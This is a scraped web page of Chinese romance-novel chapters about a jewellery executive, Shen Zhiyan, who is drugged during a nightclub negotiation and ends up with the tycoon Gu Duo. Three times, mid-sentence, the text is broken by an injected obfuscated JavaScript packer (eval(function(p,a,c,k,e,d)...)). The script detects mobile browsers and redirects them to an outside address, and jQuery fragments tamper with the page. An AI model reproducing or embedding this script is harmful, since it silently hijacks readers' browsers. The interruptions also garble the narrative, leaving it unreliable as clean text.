包厢内,平安建材的周志豪正在向顾铎滔滔不绝地介绍着自家公司的业务情况。他见顾铎忽然不说话了,而是将眼神不住地向楼下瞥去,一时有些不明所以。顺着对方的眼神看过去,这才明白,原来这位顾总是在看楼下的沈知言。 “你认识?”顾铎来了兴趣。 “嘿嘿,我哪配啊?”周志豪讪笑着,只是笑容中有一些暗示性的东西,让顾铎看得很不舒服。 “什么意思?” “还能是什么意思,人长成这样,哪能没几个入幕之宾?不然他一个从福利院出来的,又无权又无势,是怎么坐到如今的位置的?” 说着,周志豪还用一副“你懂的”眼神,自以为心照不宣地暗示了一下顾铎。 “您还别不信,这位沈总的手段可是了不得啊,他这回国才多久啊,风潮的杂志就专门开了一个版块推出AG的品牌故事,当年宝丰阁也没这么顺利吧?谁知道这背后有什么交易?” 周志豪言语间对沈知言多有贬损,因为他自认为和沈知言结下了梁子。 AG刚进军国内市场,有很多展会、门店的设计需求,周志豪也上门求过合作,甚至为此深挖了沈知言的喜好,想投其所好。 只是平安建材在筛选的第一轮就被刷掉了。 这件事一直让周志豪耿耿于怀,于是自尊心作祟,自那之后他就以最大的恶意去揣度AG和沈知言。 顾铎不动声色地看了一眼周志豪,沉声道:“高筝。” 不待顾铎再多说什么,他的助理高筝便心领神会地一把拉过了周志豪,在对方诧异的惊呼声中,直接拖拽着将人丢出了二楼包厢。 “把平安建材拉进公司合作的黑名单。”说完,顾铎顿了顿。 他虽然处理了周志豪,但对方的话到底让他生了疑心。于是顾铎缓缓转身,看向了重新站回自己身旁的高筝,“另外,你找人查一查,沈知言他们为什么会来夜色酒吧。” “是。” 高筝的话音刚落,包厢的门再次被人打开,值班经理带着穿戴好的颜青走了进来。 颜青不知道发生了什么事,突然就被带到了往日里不被允许进入的二楼左区。但他在夜色上班,怎么会不认识夜色的老板呢? 因此在见到面前的顾铎时,虽然心中害怕,他还是颤着声音说道:“顾总好。” 顾铎没有反应,只是沉声道:“拿出来。” 他的声音低沉浑厚,自带一种久居上位者的压迫感,猝然在颜青的耳畔炸响,让颜青不由地打了个哆嗦。 闻言,颜青的神情猛然一僵,下意识地攥了攥衣服的口袋,但下一秒就对上了顾铎冷峻幽深的双眸,他内心陡然一惊,慌张道:“我……我……我不是有意拿的。” 说着,他忙从口袋里拿出了一个银质的球状饰品,小心翼翼地递给了高筝。 顾铎从高筝手中接过了那个小巧的挂件,微微垂首,将它放在指尖轻轻把玩。 这是一个做工精巧的香球,银质的小球表面,细腻地雕琢着精心设计的镂空纹路,上面运用珐琅工艺镶嵌着一朵金盏菊,花瓣微微合拢,含苞欲放。 挂件底部悄然嵌着一颗橙色的帕德玛刚玉,在银白底色的映衬下,如同破晓时天边最亮眼的一抹霞光,温暖、夺目。 一个小巧的香球,无一处不彰显着沈知言的风格。 而且这个香气……也和他在沈知言身上闻到的金盏菊的味道毫无二致。 顾铎忽然有些失笑,他只和沈知言见过三次,可每一次对方都留了点东西在他这里。第一次的药瓶,第二次的硬币,还有这次的金盏花香球。 敛了敛脸上的神色,顾铎将手中的香球收了起来,看向颜青,“他帮了你,你却偷拿他的东西。” 颜青瞪大眼睛,连连摆手,“不!不是的!我不是故意的!我是……我是想事后还给沈先生的!” 刚刚徐胜宇的手下在楼下拖走颜青时,情况混乱,沈知言可能没有注意到,可楼上的顾铎却看得一清二楚——这个小服务生无意间拽到了这个香球,之后就起了心思,在推搡间有意将它勾走了。 至于是想事后卖掉换钱,还是想借着还东西的由头接近沈知言,顾铎就不得而知了。 不想再听面前这个服务生的辩解,顾铎给值班经理递了一个眼神。值班经理立刻心领神会,干脆利落地将还在急切辩解的颜青往门口带去。 但刚走到门口时,身后又传来了顾铎的声音,“走另一侧楼梯。” 顾铎说完,便又重新站回了落地窗前,向下看去。 此时,沈知言正被保安拦在了楼下。 高筝悄悄解读了一下自家老板晦暗不明的神色,试探道:“我去让楼下的人放行?” 见老板没有点头,但也没有摇头,高筝开始试探着往外走了两步,见老板还是没有阻止,于是他心下了然,急忙快步出门下楼。 沈知言从徐胜宇那儿离开后,本来是想去找齐卓轩和秦昭的,可在路上却看到了之前那个叫颜青的小服务生被值班经理带着上了二楼左区。 他疑惑地挑了挑眉,不是说二楼左区不对外开放的吗?好奇之下,就也抬脚跟了过去。 果然,他被保安拦住了。 沈知言现在最担心的就是引起顾铎的怀疑,刚才上楼的举动还可以解释为关心小服务生的情况,现在被阻拦后如果再做纠缠,那就是此地无银了。 于是,在被阻拦后,他随意地笑了笑,直接原地转身,毫不拖泥带水地径直离开了。生怕犹豫一秒,就被顾铎扣上一个“居心叵测”的帽子。 也正因为如此,等高筝匆匆赶下楼时,见到的就是沈知言走得极为果决的背影。 “老板,沈总他……” “我看到了。”顾铎将沈知言刚才干脆利落的原地转身看了个一清二楚,眼中神色不明。 “我刚才知会过楼下保安了,以后沈总上楼不必阻拦。” 高筝一边说着,一边小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499352|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼地抬头,偷偷打量自家老板的脸色。见对方迟迟没有做出反应,高筝的心里开始有点发怵,暗暗懊悔自己是不是多事了。 可又转念一想,不对啊,老板这不是也没骂自己吗? 果然—— 良久,屋内想起了顾铎低低的一声“嗯”。 高筝面上波澜不惊,心里却在大肆欢呼,赌对了! …… 结束了晚上的饭局之后,沈知言在车上疲惫地掐着眉头。 他的酒量一向很好,可白的、啤的、红的混着喝还是有点招架不住,尤其是最后那瓶清酒,喝完后更是头疼得不行。 秦昭通过后视镜看了看沈知言,将事先准备好的蜂蜜水递了过去。 沈知言轻抿了几口,脑子里却飞快地想着AG珠宝和天御拍卖会的事。 虽然他和徐胜宇约了周四见顾楠,但沈知言在商场上不怕做生意精的,就怕做生意浑的,而这个顾楠偏偏就是个又浑又蠢的二世祖。 还是得做好两手准备。 如果实在和顾楠这边谈不下来,他也管不了那么多了,那就直接找顾铎做资源置换。 徐胜宇在夜色酒吧里提到了顾铎要去秘鲁谈供应商,结合顾家的产业链来看,他们从秘鲁那边进的货左不过是铜矿、锌矿。顾铎这个时候飞秘鲁,八成是受到了国际局势的影响,原材料的涨幅压缩了他的利润空间。 沈知言看了看手机显示的时间:21点。 “阿昭,两小时后提醒我联系Juan.Perez。” 秦昭点头,同时又问道:“咱们在秘鲁的那个供应商?现在秘鲁就是白天吧?” 沈知言按了按太阳穴,“那边才早上八点,那家伙起不来的,给他两个小时的缓冲。” 顿了顿,沈知言忽然问道:“阿昭,璀璨之夜的事查得怎么样了?” 秦昭闻言,正色道:“正在给宝丰阁施压,他们那边吐出人名来也就这几天的事儿,但是给顾铎下药的人实在没有眉目。” “不管顾铎。等拿到了宝丰阁的人名,先把事情扩散出去。别到时候这人出事儿了,别人却不知道为什么。” 秦昭了然地点了点头,“然后呢?” “然后?然后等顾铎回国,把事儿往大里闹。” 秦昭瞥了瞥后视镜中的沈知言,皱了皱眉,“你这一会儿偶遇一会儿闹事的,咱的对敌方针能不能一致一点?” 沈知言失笑道:“什么对敌?那是要做我朋友的人!再说了,这不是偶遇不到嘛。我在他的场子闹事,他就得过来平事,多好的偶遇机会,不用白不用。” 顾铎在5302对沈知言做过那档子事,秦昭心里觉得膈应。他不想沈知言和顾铎做朋友,但又不好直说,于是皱眉道:“咱们非扒着顾铎不放吗?他和你的误会解除了不就行了?” 沈知言无奈地叹了口气,头又疼了。 “阿昭,你知道我这次回国背了多少增长指标吗?这季度的汇报不漂亮的话,我今年埋的线,可能都等不到明年看结果,到时候咱们灰溜溜地滚回佛罗伦萨,多丢人。” 秦昭无所谓地耸了耸肩,“这个我不怕,我前面有你顶着,你也不用怕,你前面有Alex顶着,至于Alex……他那张嘴怕过谁?这些年枪林弹雨挨了这么多,他早免疫了。” 沈知言知道秦昭这是在宽慰自己,于是将头靠在了车窗上,一边闭目养神,一边很配合地笑出了声。 10. 沈知言的温柔刀 周四晚上,夜色酒吧。 当徐胜宇带着沈知言来到一楼包厢时,顾楠已经等在里面了。 他的身边还坐着五个穿着限量版潮牌的青年,他们面前筹码堆叠,显然已经玩了一会儿了,在门口的位置还站着六个保镖。 沈知言暗暗挑眉,这阵仗,想仗势欺人的架势也太明显了。 包厢内的灯光很昏暗,在水晶灯球的折射下,光线斑斑驳驳地映到墙上,十分暧昧。 顾楠穿着一身黑色的休闲西装坐在沙发的正中间,在沈知言和徐胜宇进门的一瞬间,就将视线锁定了过来。 他摇晃了一下手中的香槟,向着沈知言遥遥一敬,“沈总,幸会。” 沈知言不动声色地打量了一下顾楠——毕竟是顾铎的侄子,样貌上没得说,气度也算大方,但沈知言第一时间注意到的,是顾楠戴的领带夹。 公主方形切割的主石用悬浮镶嵌法托起,周围辅以10颗长方形切割的钻石作配。 工艺很娴熟,但它之所以能一下子吸引到沈知言的注意,主要是因为这个领带夹的主石他见过。 这颗十五克拉的D色钻石源于俄罗斯的雅库特矿区,沈知言两年前在佳士得的秋季拍卖会上见过,而当年拍下这个钻石的人……可不是这位顾家二少。 涉及到豪门辛秘,他自问和自己无关,便不愿意再细想。 心思百转千回间,沈知言笑容和煦地走了过去,“二少,久仰。” 顾楠朝身旁不远处的一个青年使了个眼色,那人忙腾出了位置,沈知言顺势坐了过去。 这时,一个打着唇钉的青年忽然痞气地笑了起来,他拨弄着手中的筹码,语气轻浮,“顾二你可以啊,连沈总都能约到!沈总现在那可是咱们京市的名人啊!我妈最近老数落我,说我不学好,能不能跟AG的小沈总学学。眼下这榜样都到眼前了,沈总,您就教教我呗?” 随着青年的话音落下,四周又响起了一阵阵不怀好意的笑声。 “致远,沈总那套你可学不会,快让你妈给你换个榜样。” “就是!你也不照照镜子,人家沈总那是天赋异禀!” “哈哈哈哈,你没跟你妈说,沈总最出名的身份可不是AG总裁啊。” 沈知言神色淡淡地听着周围的笑声,面不改色,倒是他旁边的徐胜宇听不下去了,怒道:“你们他妈的把嘴巴放干净点!” “呵!” 听到徐胜宇的话,顾楠发出了一声冷笑,随即兴致盎然地看向徐胜宇,“怎么,他们说错了?相较于什么AG、BG的总裁,沈总更出名的难道不是另一个身份吗?” 说到这里,顾楠将视线对准了沈知言,声音有些发冷,“你说呢?我小叔的床伴?” 听了一圈下马威,沈知言大体摸清了这次见面对方准备走的路子,于是适时地切换了一下脸上的笑,在里面加入了一些倨傲。 对屋子里的这群人来说,他原来温和谦逊的那一套社交手段根本不管用。 沈知言双腿交叠,身子后仰,靠到了沙发上,手指轻轻地在大腿上敲击着,气定神闲地看向顾楠,“那你小叔没有告诉你,给AG的珠宝上拍吗?” 沈知言并没有否认自己和顾铎的关系,他的身份在顾楠这里没什么力度,需要借顾铎的势。而他最先要弄清楚的,就是这件事情中顾铎的态度,这样才好确定接下来的动作。 或许是沈知言太从容了,顾楠愣了一下。 他之前是不太信沈知言和顾铎真的睡了,况且天御并没有和AG达成合作,就算他俩真睡了,那也只能说明他小叔睡完就不认账了。 而没有他小叔,他沈知言在京市又算个什么东西! 但现在见到沈知言这幅架势,他又有些犹豫了……可他小叔怎么会找个男小婶呢?伯祖母也不会同意啊! 顾楠看起来一副老神在在的模样,但其实脸上藏不了太多事,他色厉内荏的嗤笑道:“当然没有,沈总以为自己在我小叔那儿有多特殊吗?” 顾楠这点儿道行根本骗不过沈知言。 闻言,沈知言心下了然,这次AG珠宝被天御拍卖会拒收,就是这位顾二少在阳奉阴违。他是笃定了顾铎不会因为自己而对他这个顾家人出手。 但原因呢?顾楠针对自己的原因呢? 顾楠的敌意来得莫名其妙,而且沈知言可以感觉到,他对自己的怨气,不是因为AG,而是因为自己和顾铎的关系。 ……自己和顾铎的关系? 不会吧…… 顾家玩得这么花?侄子暗恋小叔? 又或者,他这么记恨自己在璀璨之夜那天“睡”了顾铎,是因为他希望那天顾铎睡的另有其人? 如果是这样的话,那他为什么会知道顾铎会“睡”人?他是知道下药的事,还是参与到了其中? 沈知言觉得自己沾上了和顾铎的绯闻确实是无妄之灾,他并不想参与到豪门世家的恩怨情仇之中。但璀璨之夜的事被有心人恶意传播,顾铎又在酒会上推波助澜,现在流言四起,沈知言根本无力澄清。 而这一切,千错万错,都是陷害自己的狗东西的错。 想到这里,沈知言暗暗瞪了一眼身旁的徐胜宇。 徐胜宇正同仇敌忾地跟着沈知言瞪顾楠呢,猝不及防地被瞪了一眼,一时间有点懵,但不知怎么的,还有点暗爽。 沈知言笑了笑,决定一张挡箭牌用到底,“哦?这样的话,那不如我们问问阿铎?” 说罢,他拿出手机,点开了通讯界面,但面上却露出了犹豫的神情,“啧……他现在人在秘鲁,这个时间点应该还没睡醒吧。二少,你小叔的起床气要不你来帮我分担点?” 沈知言一边说着一边冲着顾楠晃了晃手机,示意让他过来和自己一起参与通话。 徐胜宇面色古怪地看了看沈知言,抿了抿唇,一言未发。 顾楠这下却有些坐不住了,他本就没什么本事,在顾家从来没被倾注资源培养过,如今能在天御工作全靠自己姓顾,做的事情也都是一些无关紧要的小事,大项目根本轮不到他。 他难为AG,单纯就是因为沈知言坏了他的好事,他想找找对方的晦气,但如果因此得罪了小叔…… 顾楠忍住心中的慌乱,怒道:“有事没事找我小叔,沈知言你还是个男人吗!” 沈知言本来也没有打算真的找顾铎,毕竟他连顾铎的联系方式都没有,于是趁机借坡下驴,大大方方地收起了手机,嗤笑道:“那你说,我怎么做算个男人?难道要像你一样,在自家小叔面前唯唯诺诺,只敢偷偷在他背后搞一些上不得台面的小伎俩?” “你他妈的说谁呢!” 顾楠将酒杯重重地拍在了桌面上,“噌”的一下站了起来,死死地瞪着沈知言。 无能的人最怕别人说自己无能,活在顾铎阴影下的人,最怕别人说自己怕顾铎。 而这两点他顾楠都占了。 “顾楠,说话就说话,你搁这儿跟谁发脾气呢!” 看到顾楠摆出了一副准备发火的架势,又看了看周围蓄势待发的保镖,徐胜宇也跟着站了起来,冲顾楠厉声斥道。 顾楠兀自瞪了一会儿沈知言,忽然意识到了一件事情——他是不敢违逆顾铎,但他完全可以在完成顾铎要求的同时,让他沈知言吃些苦头! 想明白这一点后,顾楠压下了怒火,笑着整理了一下衣服又重新坐了下来。但他的视线却在徐胜宇和沈知言之间来回转动,像是发现了什么新奇的东西一般。 顾楠语带玩味,“徐少急什么?我整理一下衣服而已。话说回来,徐少你这么维护沈总,我小叔知道吗?还是说……我小叔素久了,一朝开荤就玩得这么大?” “你他妈!” 徐胜宇的暴脾气一下子被点着了,撸起袖子就要冲上去动手,没想到却被沈知言拍了怕手背。 徐胜宇一愣,一低头,就看到了沈知言正在冲他微微摇头。 暴起的脾气瞬间被安抚好了,徐胜宇听话地熄了火,带着一肚子闷气重新坐了回来。 “顾二,我不跟你绕弯子,我来是解决事情的。这事儿你不做,我就找你小叔来做,总之AG要上拍,这事儿你拦不住。”沈知言见那俩炮仗都消停了,便慢悠悠地开了口。 他这话说得理直气壮,底气十足,仗着屋里唯一的的知情人士徐胜宇不会给他拆台,将他和顾铎的绯闻利用的得心应手。 沈知言觉得这很合理,没理由自己只受绯闻牵连,而不从中挖掘点价值出来吧?不然也太亏了。 顾楠邪邪地笑了笑,道:“成啊,这事儿我来给你解决,不用麻烦我小叔了……小、婶。” 纵使沈知言修炼出来的面具再结实,也是拼上了毕生功力才堪堪将其稳住——这句“小婶”叫得他牙疼。 顾楠冲着门口一招手,一个黑衣保镖便走了进来,他的手中拿着两份合同,同时递过来了一支笔。 顾楠将合同放在桌面上,推到了沈知言面前,“拍卖协议,沈总看一下有没有问题。” 沈知言拿起协议仔细地看了看,在确认没有问题后,便抬头看向了顾楠,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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此言一出,顾楠和他那几个朋友连同徐胜宇都一起震惊了。 Tomorrow是由伏特加、朗姆酒、龙舌兰、白兰地、金酒、威士忌这六种烈酒调制成的,别说十杯了,酒量一般的,一杯就能不省人事。 徐胜宇率先回过神来,他拽了拽沈知言,眼中带着少有的认真,正色道:“咱们不喝这个,沈知言,我去找阿铎,就算日期截止了也能给你补上。” “哟?这是怎么个意思?” 顾楠也从刚才的震惊中恢复了过来,觉得这个沈知言还真是不知死活。 而且他宁愿喝十杯tomorrow也不说让小叔事后给他加塞,说明他们的关系也没那么好。如今再看徐胜宇这副姿态,不禁对之前自己的那番猜测更加笃信了。 “啧啧……不会吧?我之前的猜测难道是真的?嚯!沈总,牛逼啊!我小叔和徐少这俩你都能吃得消!” “我艹你妈的!” 徐胜宇早就憋着火了,此时看着顾楠那张欠扁的脸,听着他欠扁的话,再也按捺不住,直接过去就给了对方一拳。 顾楠也不惯着他,当即就还了回来。 周围看热闹的青年们见这二人动起手来了,忙上前试图将他们分开。一瞬间,包厢内乱成了一团。 一个顾家少爷,一个顾铎发小,他们谁也不敢得罪。 “妈的,顾楠,别以为你姓顾老子就不敢动你!” “嘁!你说反了吧!徐胜宇你还能威风多久?我小叔那么帮衬你,你却废物得连你堂弟都收拾不了,你丫就一滩扶不上墙的烂泥!你就等着吧,等你们徐家确定了继承人,有你好看的!” “我……” “徐少。” 徐胜宇还待继续说些什么,却被沈知言出言打断了。 如今包厢里每个人都剑拔弩张,倒显得从头到尾没挪窝的沈知言有些格格不入。 沈知言好笑道:“都多大的人了,得有点长辈的气量,跟个小辈儿吵什么?孩子还得仰仗他小叔讨生活,自然不知道你们创业的艰辛。” 沈知言说完,顾楠瞬间被噎得难受——这句话的每个字,都在顾楠的逆鳞上蹦跶。 顾楠的年龄其实和众人相仿,但是因为京市大多是和顾铎谈交情的,所以在他们那里论辈分时他总会平白矮上一辈。 而且他之前也不是没有自己创业过,可是都赔得血本无归,这才安安分分地在天御集团跟着顾铎喝些肉汤。 这些都是顾楠的忌讳,平日里很少有人敢在他面前这么说话,可沈知言敢,他这把温柔刀,刀刀砍在了他的命门上。 11. 药效发作 “嗤!也对,大侄子,叔叔大度,看在你小叔的面子上,今儿就不跟你计较了。” 见顾楠吃了瘪,沈知言又在向着自己说话,徐胜宇的脾气缓和了不少。他走到沈知言身前,作势要带对方离开,可手刚伸出去,就反被沈知言一把拉住了。 徐胜宇愣了愣。 “二少的这些酒喝完,我这胃怕是要废了,徐少,你能帮我去要杯牛奶吗?” 见沈知言铁了心地要喝这些酒,徐胜宇沉默了半晌。 他不知道沈知言为什么非要这么犟,自己明明说了可以帮他,可人家就是不领情。也不知道是因为不信任自己,还是不肯欠自己人情。 又或者……二者都是。 徐胜宇一时间有些胸闷,但他还是不动声色地从沈知言的手里接过了对方偷偷塞过来的小药瓶,点了点头,“好。” 徐胜宇出去后,顾楠纵然面色不善,但还是重新坐了回去,“还是沈总识趣。” 沈知言将桌上的协议推到了顾楠面前,“我说了,先签字,再喝酒,二少这么多人,难道还怕我跑了不成?” 顾楠饶有兴致地凝视着沈知言,眼中闪过一丝玩味。 沈知言现在越是气定神闲,他就越想看到对方喝完这些酒之后的样子——这些可不仅仅是烈酒,里面还加了别的东西。 连他小叔都扛不住的东西。 顾楠不动声色地和那个调酒师对视了一眼,见对方点了点头,这才笑道:“成啊,我签字,给沈总个安心。” …… 当徐胜宇端着一杯牛奶回来时,沈知言的面前已经放好了十杯tomorrow和顾楠签好字的拍卖协议。 “谢谢。” 沈知言接过了徐胜宇递来的牛奶,没有理会对方神色复杂的欲言又止,他轻轻抿了一口,在确定了味道之后,直接一饮而尽。 等了一会儿药效,沈知言这才端起了面前的一杯酒,笑吟吟地看了看顾楠,之后干脆利落地举杯、仰头,随着他的喉头滚动,杯中酒顷刻间被他尽数咽下。 沈知言这人有一张待人接物用的假面,用来防止别人窥探他的情绪。因此,虽然酒一入喉,辛辣就瞬间在他的口腔和食道中炸裂开来,可他的面上却没有丝毫波动。 一杯接着一杯,沈知言的动作不疾不徐,从容不迫,其间没有丝毫迟疑。 徐胜宇面露担忧地守在沈知言的一旁,眼神紧紧地锁在对方身上,他其实很想上前阻止,但沈知言拼酒的架势太唬人了,他一时又有些不敢。 跟着顾楠混的那些小青年起初还带着看好戏的心思,但渐渐地,也不由被沈知言这种气定神闲的气场给震慑住了。 但沈知言终究不是铁人,在喝到第八杯的时候,他握住酒杯的指关节已经发白了。喝第九杯时,离他最近的徐胜宇看到了他鬓角渗出的汗珠。 沈知言一口干了第十杯,此时他的脑袋已经开始昏沉,耳中听到的声音也都带着回响。但他很了解自己的身体状态,于是找了顾楠身上的领带夹当定点,聚焦自己的视线,防止他的眼神变得迷离。 “我喝完了,二少。” 顾楠确实没有想到,沈知言面对自己的戏耍能这么淡定自若,一时之间甚至有点理解为什么他能入了小叔的眼了。 不过他并不急,酒放不倒他,可酒里还加了药。 顾楠好整以暇地来到沈知言面前,嘴角噙笑地俯视着他,也不说话,只等着沈知言体内的药效发作。 见状,沈知言无奈地笑了笑。 他今天已经给了顾家两个面子了。 顾楠一个天御集团区区经理级别的人物,对自己口出污言秽语,他忍了。之后对方又无故找茬,逼他喝下十杯烈酒,他也喝了。 现在,对方竟然还在自己的酒里下药。 事情发展到这一步,眼下如果自己对顾楠做些什么,就算是顾铎来给对方撑腰,自己也是有说辞的。 其实只要有一丝可能,他都不愿意将天御集团的关系弄僵,可在他和天御集团交好的路上,总有狗东西出来捣乱。 沈知言微微敛眸,探身将桌上的协议拿在了手里,摩挲着手中的酒杯,缓缓地站起了身,将视线从顾楠的领夹上移开。 下一刻,沈知言的眼神瞬间失焦,变得迷离、慵懒。 顾楠眼看着沈知言的眼神发生了变化,知道是药效发作了,大喜之下就想伸手去拉沈知言,可谁知下一秒就传来了他凄厉的惨叫。 “啊————” 随着“砰”的一声巨响,沈知言手中的酒杯被重重地砸在了顾楠的额头上,玻璃瞬间破碎,碎片四散飞溅,在包厢迷离的灯光下闪烁着寒芒。 顾楠根本来不及躲避,整个人被一股巨大的冲击力砸得向后仰去,他只觉得脑袋嗡的一声,眼前金星乱冒。 他抬手捂住受伤的部位,鲜血从指缝间汩汩涌出,顺着脸颊流淌下来。 可顾楠还来不及做出反应,在沈知言喊了一声“阿昭”后,就感到一股力量拽过了他的衣领。下一秒,他的腹部就挨了一记膝袭。 与此同时,包厢的门被人从外面用蛮力撞开,秦昭听到沈知言的喊声,瞬间闯入,将门口的保镖踹翻在地。 这一切发生得太过突然,包厢内的众人先是一愣,随即便爆发出一阵哗然。眼看着顾楠被打,他们伸手便抄起了身边触手可及的瓶瓶罐罐加入战局,局势瞬间失控! 沈知言喝了酒,又中了药,不适合在这种场合下恋战。于是在看到秦昭进来后,他便将手中的顾楠猛然掀翻到了地上,而后毫不犹豫地朝着门口的方向拔腿快步走去。 但顾楠的那些狐朋狗友们见沈知言要走,哪里肯这么轻易地放他离开?他们顿时一拥而上,伸手就要将他拦下。 几双手死死地拽住沈知言的胳膊和衣角,让他一时难以脱身。以沈知言这个时候的状态,根本扛不了太久。 正在这时,没想到徐胜宇却一把扑了过来,将牵制住沈知言的几个人一下子扑倒在地,同他们扭打到了一起。 沈知言摆脱桎梏后没做任何停留,直接离开了包厢,他的生活助理陈思怡此时正发动着引擎,在门外等他们。 徐胜宇是顾铎罩着的人,在京市没人敢对他动真格的。沈知言也笃定了顾楠不敢在顾铎的夜色酒吧里把事情闹大。 只等他出了酒吧,上了车,接了秦昭,他们就安全了! 就凭包厢中那几个二世祖和那么几个保镖,沈知言并不十分担心秦昭,至少不担心秦昭的脱身问题。 沈知言是在佛罗里达的一处废弃码头捡到的奄奄一息的秦昭,那时他一个人是朝不保夕,捡了秦昭后,就变成了两个人食不果腹。 后来他遇到了赏识自己的伯乐,日子好了后,就连蒙带骗地把辍了学去打黑拳的秦昭哄回了学校,完成了学业。之后秦昭就跟着他一路走到了今天这个位置。 沈知言一路爬上来,手段并不全是光明磊落的。而秦昭是他早期最得力的助力,因为秦昭真的很能打。 这一点,光看秦昭那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499354|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张清秀斯文的脸的话,其实很难看出来,更何况,他还用严谨板正的西装遮住了那具结实遒劲的身体。 可是,沈知言事先设想了很多,却偏偏没有想到,万一他体内的药效发作了怎么办。 他之前不是没有中过药,但吃了氟马西尼后,他基本上可以扛住药效带来的冲击。 可是…… 当他感受到体内翻滚的一股股难言的热浪逐渐失控时,整个人瞬间陷入了恐慌! 之前百试百灵的手段忽然出了岔子,而此时的他根本没有多余的力气去追究到底是酒的问题、药的问题,还是氟马西尼的问题…… 因为他要把全部的精力用来压抑体内正向四肢百骸翻涌而去的浪潮! 沈知言的腿脚有些发软,他迅速判断了一下,发现以自己现在的状态,根本无法闯过舞池、避开人群、离开酒吧…… 但他也不敢把自己交给酒吧里的工作人员——虽然这里是顾铎的场子,可是顾楠也姓顾,那个调酒师不就是听命于他,所以才敢给自己下药的吗? 沈知言一路上踉踉跄跄,避开了一切或是好心或是别有深意的搀扶,他现在已经没有足够的判断力去分辨对方的用意了。 在这个酒吧里,没有他可以信任的人,也没他可以信任的安全的地方。 安全的地方…… 沈知言忽然想起,如果是在夜色酒吧的话,那安全的地方也是有的——只有顾铎才能进入的二楼左区! 思及此,沈知言仿佛在溺水的边缘抓到了一根浮木,根本无暇思考如果有人阻拦该怎么办。他卯着一股狠劲,不顾一切地向着眼前的楼梯口冲了过去。 并没有受到阻拦! 此时的沈知言脑中一片混沌,已经想不了太复杂的事情,自然也就没有发现“无人阻拦”这种异常。他现在能做的,只是给自己定一个目标,然后机械地去执行。 他要去二楼左区,他上来了,他做到了。 …… 二楼左区的走廊并没有开灯,一片漆黑。 四下里静谧无声,沈知言粗重的喘息声和虚浮踉跄的脚步声,在这片寂静里被无限放大,回荡在空旷的走廊中,格外清晰。 “哒——哒——” 忽然,一道脚步声从沈知言身后传来,沈知言顿时后背一僵。 他连忙快走了两步,身后的脚步声也跟着快走了两步。他停下,身后的脚步声也跟着停下。他越走越快,身后的脚步声也越来越快。他跑了起来,身后的脚步声竟然也跟着跑了起来! 眼见着身后的脚步声离自己越来越近,沈知言的四肢逐渐无力。抱着拼死一搏的念头,沈知言骤然停下了脚步,将一直攥在手心中的东西猛然向着身后的黑影挥去! “砰!” 随着一声撞击声响起,身后的黑影一把钳住了沈知言举起的手腕,并用蛮力将他整个人裹在了怀中,带着他一同撞进了走廊一侧的门中。 沈知言被黑影按在了墙上,冷硬的墙面撞得他后背发疼,手腕被人死死地禁锢在了头顶上方,挣脱不得分毫! “放手!” 一瞬间,沈知言整个人陷入了一股巨大的恐慌之中,可任凭他再怎么挣扎,面前控制住他的那道身影都纹丝未动!无力的绝望感逐渐在他的心中漫起,直至将他整个人淹没。 而就在下一刻,室内的光线忽然齐刷刷地全部亮了起来,周遭的黑暗刹那间被全部驱散。 沈知言这才看清眼前之人—— 竟然是顾铎! 12. 自己的老婆自己救 沈知言现在的状态很不好。 他的双腿已经站不住了,幸好顾铎的手牢牢地箍着他的身体,这才使得他没有沿着墙壁滑落。 他双唇微微张开,气息颤抖着被顾铎按在墙上。 眩晕感如潮水般一波又一波地袭来,耳畔也传来了一阵阵耳鸣,他能清晰地听到自己的心脏在胸腔里剧烈跳动,可他的脑海中却是一片空白。 沈知言的大脑已经在酒精和药效的联合绞杀下陷入麻痹,所以他无法理解眼前的景象。 ——顾铎不是在秘鲁吗? 平心而论,沈知言184的身高并不矮,但是192的顾铎堵在他的面前,就像是一座山一般,将他的周身全部笼罩在了阴影之中。 顾铎目光幽深地看着眼前的沈知言,那双素来清澈的桃花眼中此时已经布满了水雾,一片迷离与茫然。他的脸上泛着不正常的潮红,额头上全是细密的汗珠,浑身滚烫,喘出的气息都是一阵阵热浪。 顾铎的心跳蓦然漏了一拍。 “……顾铎?”沈知言仰着头疑惑地看向自己身前的男子。 顾铎没有理会沈知言的疑问,而是加重了手上的力道,紧了紧控制住沈知言手腕的那只手。 沈知言顿感一阵剧痛从手腕处传来,他的手掌一松,手中的玻璃碎片随着“哐当”一声脆响,落到了地上。 这片玻璃碎片被沈知言从包厢中一路带了出来,并在刚才毫不犹豫地用它刺向了身后尾随的黑影。 沈知言的掌心中已经被碎片硌出了一道又红又深的痕迹,再深一些就见血了。而他的另一只手中还紧紧握着那份拍卖协议。 顾铎抽了抽,沈知言死活不肯撒手。 “就为了这个?你是等不到我回来了?”顾铎的声音不怒自威。 沈知言努力地理解了一会儿对方的意思,这才解释道:“等你回来,就截止了。” “拍卖会我办的,难道我不能把你们的拍品加进去?” 沈知言不解地蹙了蹙眉,“你为什么会肯把我们的拍品加进去?” 顾铎一时语塞。 沈知言这话问得十分在理。 